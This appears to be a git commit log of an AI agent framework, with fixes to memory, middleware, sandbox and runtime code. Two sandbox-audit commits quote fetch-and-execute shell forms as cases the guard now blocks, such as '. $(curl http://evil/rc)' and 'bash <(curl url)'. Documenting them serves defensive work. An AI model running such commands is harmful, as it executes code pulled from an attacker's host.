516 Commits

Author SHA1 Message Date
huyengiang101086-spec
8331afa759
fix(agents): pair null call IDs with empty result IDs (#7837)
* fix(agents): pair null call IDs with empty result IDs

* fix(agents): treat producer sentinel IDs as absent when pairing

Middleware producers spell a missing provider ID three ways: "" is canonical,
str(tool_call.get("id", "")) yields "None" once the key is present with a
null value, and the artifact/deferred/knowledge middlewares fall back to
"missing_tool_call_id". Only "" reached the pairing pass, so a result carrying
either sentinel was dropped as an orphan and the middleware's guidance was
replaced by the interrupted placeholder — the exact outcome this PR set out to
avoid, just through a different spelling.

Route every absent spelling through one canonicalisation used by the pairing
gate, the candidate comparison and the turn-completeness count.

---------

Co-authored-by: huyengiang101086-spec <270684046+huyengiang101086-spec@users.noreply.github.com>
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-11-05 14:07:15 +08:00
hdu_zhou
9e2cf685b0
fix(memory): treat a content-less deermem message as empty, not None (#7854)
extract_message_text falls back to str(content), so a message whose content is None becomes the truthy literal 'None'. That string then reaches signal detection and the memory-update prompt as if the user had written it. The canonical helper (utils/messages.py:message_content_to_text) and the mem0 copy both return '' for this shape and the canonical one documents exactly this failure mode.

Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-11-05 12:25:51 +08:00
一片一片
459fc8ca43
fix(todos): keep an unusable stored todo list from failing every model call (#7803)
* fix(todos): keep an unusable stored todo list from failing every model call

`todos` is a reducer channel that `POST /threads/{id}/state` and run input can
Overwrite directly, but neither boundary validated its shape. The todo
middleware rendered it with `entry.get(...)` in both `before_model` and
`after_model`, so a non-object entry — or a value that is not a list — raised
AttributeError on every model call, permanently for that thread.

Validate caller-written todos beside `goal` in `_normalize_external_todos`: a
list of objects with string content and a known status, or HTTP 400. The
middleware now reads the channel through `_usable_todos` and ignores entries of
any other stored shape, so checkpoints and direct integrations written before
this boundary still run.

* fix(todos): normalize stored todos in token-usage attribution

TokenUsageMiddleware reads the same stored `todos` channel through
`_build_attribution` whenever the last AIMessage calls write_todos, and
`token_usage.enabled` defaults on, so a value the todo middleware now tolerates
still aborted the step here. Route the stored list through `_normalize_todos`
before reading entries.

Document that a caller-written todo without a status is accepted as pending and
cover that shape at both external boundaries.

* docs: keep backend agent guidance within size budgets

* fix(todos): keep the channel metadata strip on caller-written todos

The dedicated todos branch in strip_server_owned_state_metadata replaced the
generic list branch, which stripped server-owned metadata from every entry. A
caller could therefore persist additional_kwargs.original_user_content,
untrusted_input, or artifact.knowledge_sources on a todo entry. Re-apply the
per-entry strip after normalization, keeping None and empty lists untouched.

---------

Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-11-05 07:28:33 +08:00
Cordis798
6538496dbc
fix(memory): apply Honcho read policies to malformed search metadata (#7890)
Co-authored-by: Cordis798 <284918518+Cordis798@users.noreply.github.com>
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-11-05 07:04:15 +08:00
yetuge
a46d9221f8
fix(summarization): build the summary model off the Gateway event loop (#7874)
Context compaction runs from abefore_model/aafter_model on the shared loop,
and its async candidate loop constructed the summary provider inline.
create_chat_model can read local CLI credentials while it is constructed
(Codex auth.json, Claude Code credential files), so an automatic compaction
stalled every other request for that read.

Split construction out of _model_for and add _amodel_for, which builds the
provider on the assembly pool; the sync path keeps building inline. Anchor
and failure-cache semantics are unchanged, so a broken candidate still falls
through to the next one, and inference still awaits on the loop.

Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-11-04 21:54:47 +08:00
ZhiLin Zhang
e5969fd8b9
feat(harness): introduce HarnessGuardMiddleware for pre-write syntax validation and anti-doom-loop (#7624)
* feat(harness): introduce HarnessGuardMiddleware for pre-write syntax validation and anti-doom-loop

- Add HarnessGuardMiddleware to intercept tool writes and validate .py (AST) and .json syntax before disk write
- Add anti-doom-loop state machine detecting repeated error signatures (>=2) and A -> B -> A -> B oscillating loops
- Inject targeted remediation hints directly into tool results
- Add DynamicSkillRouter for zero-LLM JIT skill intent activation (<1ms)
- Fully unit-tested with 25 passing test cases

* fix(harness): address review findings on write tools, scoping, and content handling

* fix(harness): offload async validation off-thread, support Command results, and harden parsing

* fix(harness): address reviewer 1 feedback on scoping, assembly count, and non-blocking verification

- Revert .gitignore to exclude out-of-scope graphify-out entry
- Short-circuit syntax validation when block_on_syntax_error is false
- Trim AGENTS.md rule chain to fit hard guidance budget (AG002)
- Fix input_sanitization mock and update subagent middleware count expectation to 23

* fix(harness): preserve chunked write flow, normalize CRLF line endings, and guard error classification

- Preserve append-in-chunks flow: use codeop to distinguish incomplete Python fragments from syntax errors, and handle premature EOF on chunked JSON arrays/objects
- Reuse native _match_line_endings for str_replace to prevent CRLF line ending bypass
- Check existing tool failure status before classifying error text to avoid misclassifying successful tool outputs
- Add 4 regression tests covering chunked writes, CRLF replacement, and successful error-text reads

* fix(harness): scope pre-write syntax validation to str_replace and preserve write_file semantics

* fix(harness): make str_replace syntax check opt-in, allow progressive repair of invalid files, and clean up RFC docs

* chore: align subagent middleware count and satisfy AG002 guidance budget

---------

Co-authored-by: Yakyou7 <Yakyou7@users.noreply.github.com>
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-11-04 20:13:19 +08:00
yetuge
6f24bc7c36
fix(title): build the title model off the Gateway event loop (#7813)
Thread title generation runs inside the agent graph (aafter_model), and it
built its configured model inline. create_chat_model can read local CLI
credentials while it is constructed (Codex auth.json, Claude Code credential
files), so the first turn of every new thread read them on the shared loop
and other requests waited for it.

Build the provider through run_assembly, the dedicated assembly pool the
one-shot helpers, skill moderation, the goal evaluator and start_run already
use. Inference still awaits on the loop, and the sync path is unchanged.

A Blockbuster regression builds the real Codex provider: on main the gate
rejects the credential read, the broad fallback swallows it, and the local
fallback title replaces the model's title; with the change the provider is
constructed on a worker thread and the model's title is kept.
2026-11-04 04:31:57 +08:00
Nan Gao
1dd6d05627
fix(extensions): hand compaction observers the live task store and name the task in CompactionEvent (#7831)
* feat(extension-api): add task identity fields to CompactionEvent (0.2.10)

CompactionEvent carried the transform, its hashes and its counts, but
nothing that names the task, run or thread the compaction happened in.
An observer that wants to relate a compaction to the run that produced it
had to match hashes across sessions, which is unreliable.

Append three optional fields, task_id, run_id and thread_id (str | None,
default None). Existing keyword and positional construction is unchanged,
so already-released extensions keep working. The host fills them in the
next commit.

Bump deerflow-extension-api to 0.2.10 and the harness's exact pin with it.

* fix(extensions): hand compaction observers the live task store and its identity

The summarization middleware already recovers the live task store from
the runtime to observe its summary system call, and the registry
allocates that store precisely because a compaction observer is
registered. notify_context_compacted() then discarded it and handed every
observer a detached store, with a docstring claiming there was no live
task.

- The lead run worker and the subagent executor now seed every task store
  they allocate with the task's TaskInfo, not only when a lifecycle
  contributor is registered; the lifecycle notification reuses the seeded
  object. A subagent without a parent run_id still gets no TaskInfo.
- compact_state() and acompact_state() pass the store from
  task_store_from_runtime() to _record_compaction().
- notify_context_compacted() takes an optional task_store. A live store
  goes to the observers and fills the event's task_id/run_id/thread_id
  from its TaskInfo; without one (manual /compact runs outside any run)
  observers still receive a detached store and the ids stay None.

For a background subagent the store keeps its public scope id (the
provider tool_call_id) while TaskInfo.task_id stays the execution id, as
lifecycle contributors already see it; the event follows TaskInfo.

* docs(extensions): document compaction event identity and seeded TaskInfo

The extensions guide and the developer manual still said compaction
observers always receive a detached store because no task is live at the
call site. Describe what the host does now: lead runs and subagents with a
parent run seed every task store with TaskInfo, compaction observers get
the live store, and CompactionEvent's task_id/run_id/thread_id come from
it; only manual /compact falls back to a detached store with None ids.
Adds the 0.2.10 row to the contract version table (PR number pending).

* docs(changelog): note compaction observers receive the live task identity

* docs(extensions): list compaction observers among task-store triggers

* docs: reference #7831 for the compaction event identity change

* docs(extensions): backfill contract history rows 0.2.5 to 0.2.9

The version table jumped from 0.2.4 to 0.2.10 although 0.2.5-0.2.9
shipped. Add those rows, attributing names merged without a bump to
the first release that carried them (#5796 in 0.2.5, #6920 and #5645
in 0.2.8, #7729 in 0.2.10). The page intro now says it documents
0.2.4 plus the 0.2.10 CompactionEvent fields, and points to the
history for the rest.
2026-11-03 15:06:52 +08:00
linkangjun
3f86f071f3
fix(middlewares): prevent todo retries after text-only output caps (#7605)
* fix(middlewares): prevent todo retries after text-only output caps

* docs(middlewares): clarify text-only output cap markers

* test(subagents): isolate cleanup test from shared assembly pool

* docs(middlewares): keep cap guidance within chain budget

---------

Co-authored-by: linkangjun <331227811+linkangjun@users.noreply.github.com>
2026-11-02 10:46:59 +08:00
一片一片
a0ce43d46a
fix(agents): tolerate deeply nested JSON in tool-call normalization (#7742)
Loop detection, clarification and dangling-tool-call repair parse model-provided
tool arguments and options. A JSON string, Python structure or native option
label nested past the interpreter recursion limit raised RecursionError and
aborted the run; these paths now treat it like any other unusable payload
(opaque args, an empty replay object, or a skipped option), and the dict-option
flatten and _stable_tool_key use guarded serialization.

Rebased onto current main; the stale-base docs commit is superseded by main and
the AGENTS note is trimmed to stay inside the guidance chain budget.
2026-11-01 23:32:00 +08:00
Evan
02df37c5de
fix(runtime): charge a steered subagent's usage to the token budget (#7776)
* fix(runtime): charge a steered subagent's usage to the token budget

A task that finishes after a Steer reports through a receipt HumanMessage, so its usage never reached the dispatching AIMessage the token budget reads. Carry the usage over when the receipt is delivered.

* fix(runtime): report deferred usage with no AIMessage to charge

Log the rare case instead of dropping the usage silently, and scan for AIMessages once per delivery.
2026-11-01 23:28:04 +08:00
Totoro
a17e5694cc
fix(sandbox): stop owned command processes when a run is cancelled (#7772)
* fix(sandbox): stop owned command processes when a run is cancelled

* fix(sandbox): handle incomplete AIO output responses

---------

Co-authored-by: Totoro-qaq <279883115+Totoro-qaq@users.noreply.github.com>
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-11-01 23:09:25 +08:00
一片一片
38e6be638b
fix(memory): tolerate unbounded stored fact confidence (#7764)
* fix(memory): tolerate unbounded stored fact confidence

A stored memory fact can carry a JSON integer such as 10**400. float() on it
raises OverflowError in _coerce_source_confidence and in the dedup merge
comparison, aborting the whole update cycle even though both sites already
handle every other unusable confidence. Treat the overflow like a missing or
non-finite value: 0.5 for ranking, 0.0 for the merge comparison.

* fix(memory): harden the remaining fact-confidence coercions

The import normalizer, prompt builder and relevance scorer each coerce a
stored fact confidence with float() and caught only TypeError/ValueError, so
an unbounded JSON integer such as 10**400 raised OverflowError: import failed
before the updater fallbacks ran, and prompt/relevance ranking could abort.
Catch OverflowError and take the existing defaults; document the full set of
coercions.
2026-11-01 15:04:16 +08:00
Hyeonsang Cho
9a49fb2bb3
fix(clarification): keep each question when a provider reuses a call ID (#7762)
* fix(clarification): keep each question when a provider reuses a call ID

The clarification ToolMessage ID, which is also the human-input
request_id, was clarification:{tool_call_id}. Providers that number
calls per response reuse call_0 across turns, so a later question took
the earlier one's ID: add_messages replaced the earlier question in
place and left the new call without a result.

Add a digest of the issuing AIMessage ID. A retry of the same call comes
from the same AIMessage and keeps its ID; without that message in state
the ID keeps its previous form.

* docs(changelog): reference #7762 for the clarification call ID fix
2026-11-01 12:41:34 +08:00
yetuge
35656d6a9f
fix(agents): ignore malformed entries in a serialized MCP routing index (#7751)
* fix(agents): ignore malformed entries in a serialized MCP routing index

`McpRoutingMiddleware._normalize_index` documents that it accepts "arbitrary
serialized routing data, not only the output of the builder", but two shapes
escaped the coercion and raised instead:

- an entry that is not a mapping (`str`, `list`, `None`, a number) reached
  `.get` and raised `AttributeError`;
- a non-finite `priority` raised `OverflowError` from `int()` — JSON accepts
  `Infinity`/`-Infinity` literals, so a hand-edited or foreign index can carry
  one.

The middleware is constructed per run, so either shape fails every model call
in that process instead of the entry being ignored the way an entry with no
keywords already is.

Both now degrade to "not indexable": a non-mapping entry is skipped, and a
priority that cannot be a finite int falls back to 0 (the existing value for
`None`/non-numeric priorities). Valid entries are unchanged.

Tests cover each rejected shape, the control shapes that already degraded, and
the builder-shaped output that must stay identical. Dropping only the mapping
guard fails the non-mapping cases; dropping only `OverflowError` fails the
non-finite cases.

* fix(mcp): handle infinite routing priorities in the builder

---------

Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-11-01 08:08:08 +08:00
Totoro
44e372dd7f
feat(runtime): support Queue and Steer during active Web runs (#7729)
* feat(runtime): add Queue and Steer for active Web runs

* style(frontend): format Queue and Steer controls

* fix(runtime): retain user Steer controls and order active inputs

* docs: add Chinese changelog entry for Queue and Steer

---------

Co-authored-by: Totoro-qaq <279883115+Totoro-qaq@users.noreply.github.com>
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-10-31 11:35:36 +08:00
derrickLzw
51f0e2de1c
feat(extensions): scope configured middlewares to lead or subagent (#7661)
* feat(extensions): scope configured middlewares to lead or subagent

* fix(helm): synchronize configured middleware config schema version

* fix(extensions): require explicit configured middleware scope
2026-10-31 08:46:16 +08:00
Fish
2488ba7c27
fix(agents): tolerate deeply nested JSON tool results (#7679)
* fix(agents): tolerate deeply nested JSON tool results

* test(agents): verify the deep JSON parser premise

Signed-off-by: Willem Jiang <willem.jiang@gmail.com>

---------

Signed-off-by: Willem Jiang <willem.jiang@gmail.com>
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-10-30 20:29:15 +08:00
haotianqi666
f7da737118
fix(memory): avoid replaying Honcho checkpoint history (#7687)
* fix(memory): avoid replaying Honcho checkpoint history

* fix(memory): harden Honcho capture lookups

---------

Co-authored-by: haotianqi666 <250384991+haotianqi666@users.noreply.github.com>
2026-10-30 07:33:41 +08:00
LingYi
c28e64fc8f
fix(memory): enforce the token budget when truncating summaries (#7709)
Signed-off-by: LingYi-Liang <270316896+LingYi-Liang@users.noreply.github.com>
Co-authored-by: LingYi-Liang <270316896+LingYi-Liang@users.noreply.github.com>
2026-10-30 07:32:51 +08:00
Xuehao Xu
a320807904
fix(agents): preserve verbatim XML through input sanitization (#7556)
* fix(agents): preserve verbatim XML through input sanitization

* fix(agents): narrow input encoding and repair forged frames

* fix(agents): track framing provenance outside user-controlled text
2026-10-27 10:54:44 +08:00
Totoro
c48447a4ae
fix(runtime): present outputs before a loop wrap-up and explain step-limit stops (#7588)
* fix(runtime): present outputs before a loop wrap-up and explain step-limit stops

Loop-detection warnings now ask the agent to present the files it already
created in /mnt/user-data/outputs before its final answer, when
present_files is available.

A run that exhausts recursion_limit now ends with stop_reason
recursion_capped and a plain message that lists outputs it created but
did not present. An active goal stands down without an evaluator call.
The /wait error envelope keeps the GraphRecursionError name, and IM
channels reply with the step-limit message instead of a generic failure.

* docs(changelog): note run-end delivery and step-limit stops (#7588)

* test(runtime): stop pinning LangGraph's step count in the step-limit test

The produced paths and the message already follow the observed model
calls, so the exact count only pinned LangGraph's per-step accounting.
Also note on the step-limit goal branch that its caller passes no
evaluator factory, so it has to stay ahead of the evaluator section.

---------

Co-authored-by: Totoro-qaq <279883115+Totoro-qaq@users.noreply.github.com>
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-10-27 10:34:34 +08:00
lilei
51d59a1cdf
fix(safety): handle native Responses content-filter termination (#6965)
* docs: describe native Responses safety stops

* fix(safety): handle native Responses content-filter termination

* test(safety): cover native Responses stops and replay
2026-10-27 10:11:56 +08:00
Tsai Yuan
89acf51caa
fix(tool-output): preserve prompt prefixes by default (#7455)
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-10-27 10:09:03 +08:00
Cordis798
09a98e5f7b
fix(memory): honor Mem0 read policies during context deduplication (#7561)
Co-authored-by: Cordis798 <284918518+Cordis798@users.noreply.github.com>
2026-10-26 19:44:01 +08:00
Hyeonsang Cho
30b3a012cb
fix(memory): flush pre-compaction memory off the event loop (#7530)
* fix(memory): flush pre-compaction memory off the event loop

The async compaction path fired the before-summarization hooks inline.
memory_flush_hook hands the summarized messages to add_nowait, which is
sync HTTP for mem0 and Honcho (inherited default -> add) and OpenViking
(its own override), so every automatic compaction with an HTTP memory
backend blocked the Gateway event loop for the whole request.

acompact_state now runs the hooks through asyncio.to_thread, as
MemoryMiddleware.aafter_agent already does for its writes. Ordering,
failure isolation, summary-first timing and context propagation are
unchanged; the sync compact_state path is untouched.

* docs(changelog): reference #7530 for the pre-compaction memory flush fix

* test(memory): anchor the OpenViking pre-compaction flush off the event loop

---------

Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-10-26 15:13:00 +08:00
jianyx1
4b1e06bbf9
feat(runtime): honor the web UI language in replies and DeerMem updates (#7294)
* feat(runtime): honor the web UI language in replies and DeerMem updates

Carry Settings > Appearance > Language as request-only run data: the
Gateway validates context.locale against a finite allowlist, the lead
agent prefers it for replies, and bundled DeerMem writes new facts and
summary prose in it. Explicit user language requests still take
precedence; checkpoint configurable, static prompts, and memory backend
APIs are unchanged.

Refs #7287

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(runtime): guard language context and pin locale maps

* test(runtime): pin UI locales across frontend and Gateway

Add the shared locale fixture and document the intentional language fallback for internal runs. Clarify live-locale precedence in the run context contract.

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-10-26 13:24:30 +08:00
lester076
9d0509925e
fix(sandbox): reject write_file payloads that are the elision placeholder (#7374)
* fix(sandbox): reject write_file payloads that are the elision placeholder

The tool-output budget middleware replaces a superseded write_file payload
with a deterministic placeholder in the model-bound request only. That
placeholder is text the model sees in its own history, so it can imitate it
and submit it back as real write_file content: #7319 reports a delivered
file that was 194 bytes of placeholder.

write_file now rejects a payload that is the placeholder (whole payload,
allowing only surrounding whitespace) with an actionable error telling the
model to read_file the target path and write the real content; nothing is
written. The match is whole-payload on purpose: a substring guard would
block legitimate edits to this repository, whose constants.py and
persistence docs quote the template verbatim.

The placeholder wording moves to one shared constant,
WRITE_ELISION_PLACEHOLDER_TEMPLATE in deerflow.constants, which the
middleware renders from and the guard matches on, so the two cannot drift.

Regression tests fail on base (7 failed, 6 passed) and pass with the fix;
near-miss payloads that merely quote the placeholder still write.

Refs #7319

* fix(sandbox): match complete write elision placeholders

* docs: clarify write placeholder validation scope

* chore: re-trigger CLA status check

* fix(sandbox): preflight async writes and trim guidance

---------

Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-10-25 21:15:14 +08:00
Kevin Dong
6c705f73e7
fix(middleware): preserve mounted output permissions on blob restore (#7390) 2026-10-25 19:22:11 +08:00
PerryLink
338cd26dc2
fix(memory): drop unusable numbers in stale extensions and consolidation confidence (#7442)
* fix(memory): drop unusable numbers in stale extensions and consolidation confidence

* fix(memory): log defaulted consolidation confidence and pin the int passthrough
2026-10-25 16:16:09 +08:00
Lym308758
346ff7b253
fix(memory): rank capacity eviction per record, not per fact_id (#7454)
* fix(memory): rank capacity eviction per record, not per fact_id

select_facts_for_capacity keyed every score by fact_id, so an imported
batch that repeats an id collapsed into a single dict entry: the last
record's score won, and both the ranking pass and the evicted audit
read that one value for every position. A 0.9-confidence record could
therefore be evicted while its own 0.1-confidence duplicate survived.
The import path keeps caller-supplied ids without checking them for
uniqueness, and any over-cap import lands here.

Score by position instead: a parallel list next to the indexed facts,
so ranking and the audit read each record's own score. The public
``scores`` dict stays keyed by fact_id with last-write-wins
semantics, keeping the DeerMem benchmark contract and the callers
that never read it unchanged.

Red on main: test_confidence_policy_scores_duplicate_fact_ids_per_record
fails with the highest-confidence record evicted; green on this branch.

* fix(utils): keep share-less UNC roots out of the extended-length prefix

extended_length_path prefixed every absolute UNC path with
\\?\UNC\, but Win32 only accepts \\?\UNC\server\share\... — a
share-less root (\\server, \\server\, or a bare \) is not a valid
device path, so every Win32 call handed the prefixed spelling fails.
Only prefix when both the server and the share are present;
otherwise return the ordinary spelling unchanged.

Red on main: the \\server, \\server\, //, and //server cases of
test_windows_extended_spelling assert the forged prefix; green on
this branch.
2026-10-25 13:20:15 +08:00
haotianqi666
868c1ff807
fix(agents): treat read_file JSON errors as document data (#7369)
Co-authored-by: haotianqi666 <250384991+haotianqi666@users.noreply.github.com>
2026-10-24 08:06:38 +08:00
Tsai Yuan
03c95f5278
fix(subagents): report model output length caps (#7355)
* fix(subagents): report model_length_capped when a subagent hits the output limit

ModelLengthFinishReasonMiddleware only ran on the lead chain. A subagent
whose response was cut at the provider output limit (finish_reason=length,
stop_reason=max_tokens, MAX_TOKENS, Responses max_output_tokens) reached
the lead as a clean `completed`, and a tool call truncated at that
boundary still executed with partial arguments.

Register the same middleware on the subagent chain, in the lead's
relative position (after configured extensions, before Safety). It now
also records each detected cap per context run_id and exposes
`consume_stop_reason`, so the executor's existing duck-typed guard
collection reports `stop_reason=model_length_capped`. Add the value to
the subagent status contract (Python enum, contract fixture, frontend
whitelist) with the label "model output length limit", and update the
subagent docs.

Tests cover the middleware channel, chain placement, the contract, and
an end-to-end executor run with a fake model.

Co-Authored-By: Claude Code <noreply@anthropic.com>

* test(tasks): cover cap reasons on completed and failed runs

Extend the existing shared-contract round-trip matrix to preserve both terminal statuses alongside every supported stop reason, including model_length_capped and loop_capped.

---------

Co-authored-by: huangzz <110116@nd.com>
Co-authored-by: Claude Code <noreply@anthropic.com>
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-10-23 21:42:11 +08:00
Aling33
48c884a533
fix(sandbox): treat a fetched process substitution as an interpreter program (#7290)
* fix(sandbox): treat a fetched process substitution as a program operand

`bash <(curl url)` hands the fetched file to bash as an *operand*, not as a
redirect: bash runs it. The audit only recognised the stdin spelling
(`bash < <(curl url)`), so the operand spelling executable-fetched content
through the sandbox audit unimpeded — the miss documented in the middlewares
AGENTS.md known-gaps list.

An interpreter in command position whose first operand is a risky process
substitution now blocks. The two exceptions mirror the stdin rule: a script
operand in front (`bash script.sh <(curl url)`) keeps the substitution an
ordinary argument, and a shell noexec flag (`bash -n <(curl url)`) only
parses it.

Verified in Git Bash:
  bash <(echo "echo FETCHED_AS_PROGRAM")            -> FETCHED_AS_PROGRAM
  bash <(echo "echo FETCHED_WITH_ARG") consumer.sh  -> FETCHED_WITH_ARG
  bash -n <(echo "echo NOEXEC")                     -> exit 0, no output

* docs(sandbox): clarify substitution audit limitations

---------

Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-10-23 21:08:17 +08:00
Cordis798
3e9a417ea6
fix(memory): apply Mem0 read policies to record conversion failures (#7307)
* fix(memory): apply Mem0 read policies to record conversion failures

* test(memory): cover Mem0 read policies through routes and tools

* fix(memory): identify malformed Mem0 records in diagnostics

---------

Co-authored-by: Cordis798 <284918518+Cordis798@users.noreply.github.com>
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-10-23 17:57:14 +08:00
Fish
7097694abe
fix(memory): honor Mem0 failure policies for malformed JSON responses (#7202)
* fix(memory): honor Mem0 failure policies for malformed JSON responses

* fix(memory): diagnose and normalize deep Mem0 response failures

* fix(memory): include Mem0 page context in response errors

---------

Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-10-23 16:58:19 +08:00
derrickLzw
1278c5192b
fix(models): honor HTTP-date Retry-After hints in Claude retries (#7295)
* fix(models): honor HTTP-date Retry-After hints in Claude retries

* refactor(models): share bounded HTTP-date retry parsing

* test(agents): move retry date regression to middleware suite
2026-10-23 15:21:44 +08:00
Totoro
2f0cd407fc
fix(goal): base no-progress counting on successful operations (#7271)
* fix(goal): track successful operations for no-progress checks

* fix(goal): reject failed exits and narration-only progress

---------

Co-authored-by: Totoro-qaq <279883115+Totoro-qaq@users.noreply.github.com>
2026-10-23 00:14:32 +08:00
Xuehao Xu
29ba806fc6
feat(knowledge): add independent Wiki and entity relation retrieval tools (#7171)
* feat(knowledge): add independent Wiki and entity relation retrieval tools

* fix(knowledge): address review diagnostics and CI catalog coverage

* fix(knowledge): deduplicate graph evidence and update catalog e2e

* fix(knowledge): clarify bounded evidence and pin browser CI runners

* Update e2e-tests to run on ubuntu-latest

* Update workflow to use ubuntu-latest

* test(ci): stop pinning maintainer-controlled browser runner images

---------

Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-10-22 16:54:58 +08:00
Fish
97b12b1381
fix(memory): exclude hidden framework messages from Honcho writes (#7159)
* fix(memory): exclude hidden framework messages from Honcho writes

* fix(memory): isolate hidden-message hook failures
2026-10-22 16:51:47 +08:00
Aling33
8f78afe975
fix(sandbox): treat the . builtin as a source execution context (#7247)
* fix(sandbox): treat the `.` builtin as a `source` execution context

The audit guard blocks a risky substitution whose output is executed and
treats `eval`/`source` arguments as execution contexts wherever they appear.
`.` is the POSIX spelling of `source`, but only the word `source` matched, so

    . $(curl http://evil/rc)
    . <(curl http://evil/rc)
    . `curl http://evil/rc`

passed as value position while `source $(curl ...)` blocked.

The dot branch requires a separator before it and whitespace after it, so a dot
inside a filename (`report.`) or a path (`./x`) is not read as the builtin.

* fix(sandbox): keep the dot builtin in command position only

Review follow-up: the unanchored `. <substitution>` branch also matched a
standalone dot used as a path argument (`du -sh . $(curl u)`), which is value
position and must pass.

Move the dot rule from the whole-command Pass 1 into the anchored
`_HIGH_RISK_COMMAND_POSITION_PATTERNS`, where `_COMMAND_POSITION_PREFIX`
already covers `builtin .`, `command .` and assignment prefixes, so the dot is
only treated as `source` when it opens a sub-command.

Verified: `du -sh . $(curl u)` passes (blocked before this commit), while
`. $(curl u)`, `. <(curl u)`, the backtick form, `builtin . …` and
`return && . …` still block. Docs now list `.` as command-position and keep the
position-blind list at `eval`/`source`.

* fix(sandbox): block stdin-redirect process substitution into a shell

Review follow-up to `. < <(curl u)`: with no script argument, a shell, the dot
builtin or an interpreter reads its *program* from stdin, so the process
substitution it is redirected from is executed.

Both forms are matched anchored in command position and only when no script
argument precedes the redirect, so `bash script.sh < <(curl u)` (stdin data)
still passes. Docs record the rule next to the here-string context.

* fix(sandbox): restore eval/source dot contexts and widen stdin flags

Review follow-up to 526fdaf:

- `eval . $(curl u)` and its dot-builtin siblings were blocked by the old
  position-blind rule, then became pass when the dot rule moved to command
  position. A Pass-1 sibling now matches `eval`/`source` followed by the dot,
  wrappers included (`eval env . $(curl u)`).
- The stdin-redirect rule consumes long and bare-dash flags again
  (`bash --norc < <(curl u)`, `node - < <(curl u)`). A flag whose value is the
  next word (`bash -o pipefail < <(curl u)`) stays a documented known gap
  instead of being guessed at.

* fix(sandbox): decide stdin-program execution from the token list

Review follow-up to a7c4a69. The stdin-redirect rule blocked three forms that
never execute the fetched bytes:

- `bash < <(curl u) consumer.sh` / `python3 < <(...) consumer.py` — a script
  operand wins, so the substitution is that script's stdin data.
- `bash -n < <(curl u)` / `sh -n < ...` — noexec parses without running.
- `. < <(curl u)` / `source < <(curl u)` — the dot builtin requires a filename
  and errors out instead of reading a program from stdin.

The anchored pattern is replaced by `_stdin_program_substitution`, which checks
the interpreter, its flags (shell noexec), the redirect, and whether a script
operand follows the substitution. Blocked forms are unchanged: `bash <
<(curl u)`, long and bare-dash flags, `env bash`, and non-shell interpreters
(`perl -n`).

---------

Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-10-22 14:49:32 +08:00
Gumayusy
a6413c75ad
fix: include active messages in history search limit (#7169)
* fix: include active messages in history search limit

* fix: deduplicate active and archived source reads

* fix: deduplicate active history matches
2026-10-22 11:45:58 +08:00
Totoro
0baa99ca90
feat(models): add scoped model controls to Web chats (#7249)
* test: stabilize reporter evidence and guard missing chat nodes

* feat(models): scope Web model choices to tasks, turns and conversations

* test(e2e): mock model-control preview for ordinary chat submissions

* fix(models): harden scoped choices and stale Agent submissions

---------

Co-authored-by: Totoro-qaq <279883115+Totoro-qaq@users.noreply.github.com>
2026-10-22 08:08:23 +08:00
Nan Gao
dc6f0d7421
fix(memory): persist the DeerMem extraction watermark across restarts and replicas (#7205)
* fix(memory): persist the DeerMem extraction watermark across restarts and replicas

The updater's per-thread extraction watermark lived only in an in-process
LRU, so a restart or a second Gateway replica on the same storage root fed
already-extracted turns to the memory LLM again.

FileMemoryStorage now keeps it in users/{user}/agents/{agent}/.metadata/
watermarks.json, keyed by thread id, written atomically under the per-user
lock without touching memory.json and capped by watermark_max_keys. Each
update feeds after the furthest of the LRU entry and the persisted one, and
writes through after an extraction or a pre-screen skip; bypass_watermark is
unchanged and sidecar IO failures fall back to the LRU. Memory clears remove
the file with the other .metadata sidecars. Content-based message identities
are stored as SHA-256 digests so the sidecar holds no conversation text.

* docs(changelog): link the memory watermark entry to #7204 and #7205

* fix(memory): never replace an unreadable watermark sidecar

set_extraction_watermark rewrites the whole watermarks.json, and the shared
sidecar reader turns an OSError into an empty mapping, so a failed read could
replace every other thread's watermark with the current one (or delete the
file). The watermark sidecar now has its own reader: a missing file reads as
empty, malformed content reads as empty (nothing to keep; the next write
repairs it), and any other OSError propagates before anything is written. The
updater already logs that and keeps the extraction successful.

* fix(memory): keep the persisted watermark when the last message has no identity

_message_identity returns None for a last message with neither an id nor
text. The updater wrote that None through, which deleted the thread's entry
from watermarks.json, losing a watermark a peer may have advanced and forcing
a full feed on every replica. The write-through now skips None: the persisted
entry still marks an extracted prefix and the furthest-of-both read keeps
using it.
2026-10-21 07:26:44 +08:00
trent87
0d73798beb
feature(skills): keep allowed-tools as compatibility metadata (#6935)
* refactor(skills): keep allowed-tools as compatibility metadata

* docs(skills): align current guides with agent tool authority

* test(skills): simplify authority regressions and sync Korean docs
2026-10-20 19:34:28 +08:00
李刚 / Bryan Li
1fd266e0c0
feat(decisions): add an OpenAI Decisions backend for the decision slots (#7127)
* feat(decisions): add an OpenAI Decisions backend for the decision slots

Issue #7005 asked for a second decision provider behind the interfaces the
TypeSafe (Jev) integration already uses, not a new decision system.
`deerflow/openai_decisions` speaks `POST /v1/decisions`: a `noul` question
becomes a `predicate` whose true/false rubric folds into `instructions` (the
endpoint has no criteria field, and dropping it would move the decision
boundary while the adapter kept reporting the same criteria in its policy
identity), answers arrive as an array rather than a mapping, and a refusal is an
